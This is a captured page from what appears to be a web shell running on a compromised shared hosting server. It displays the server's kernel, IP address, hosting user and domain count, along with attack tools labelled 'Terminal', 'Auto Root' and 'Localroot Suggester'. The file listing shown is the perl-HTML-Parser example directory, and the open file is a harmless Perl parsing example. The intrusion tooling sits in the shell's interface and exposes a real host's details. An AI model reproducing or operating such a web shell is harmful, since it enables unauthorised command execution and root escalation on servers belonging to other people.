Linux sagir-us1.hostever.us 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
LiteSpeed
Server IP : 104.247.108.91 & Your IP : 216.73.216.105
Domains : 74 Domain
User : georgeto
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
perl-HTML-Parser /
eg /
Delete
Unzip
Name
Size
Permission
Date
Action
hanchors
1.17
KB
-rw-r--r--
2021-03-04 18:05
hbody
729
B
-rw-r--r--
2021-03-04 18:05
hdisable
740
B
-rw-r--r--
2021-03-04 18:05
hdump
708
B
-rw-r--r--
2021-03-04 18:05
hform
2.44
KB
-rw-r--r--
2021-03-04 18:05
hlc
717
B
-rw-r--r--
2021-03-04 18:05
hrefsub
3
KB
-rw-r--r--
2021-03-04 18:05
hstrip
1.73
KB
-rw-r--r--
2021-03-04 18:05
htext
612
B
-rw-r--r--
2021-03-04 18:05
htextsub
936
B
-rw-r--r--
2021-03-04 18:05
htitle
461
B
-rw-r--r--
2021-03-04 18:05
Save
Rename
#!/usr/bin/perl use strict; use warnings; use HTML::Parser (); my $doc = <<'EOT'; <!-- This is not where <BODY> starts --> <title>foo</title> <script language="Perl" description="Print out <BODY>"> open(BODY, "body.txt"); while (<BODY>) { print; } </script> <!-- The next thing will be <BODY> the body --> <Body> Howdy! </body> EOT my $body_offset; HTML::Parser->new( start_h => [ sub { return unless shift eq "body"; $body_offset = shift; shift->eof; # tell the parser to stop }, "tagname,offset,self" ] )->parse($doc); die "No <body> found" unless defined $body_offset; my $head = substr($doc, 0, $body_offset, ""); print $doc;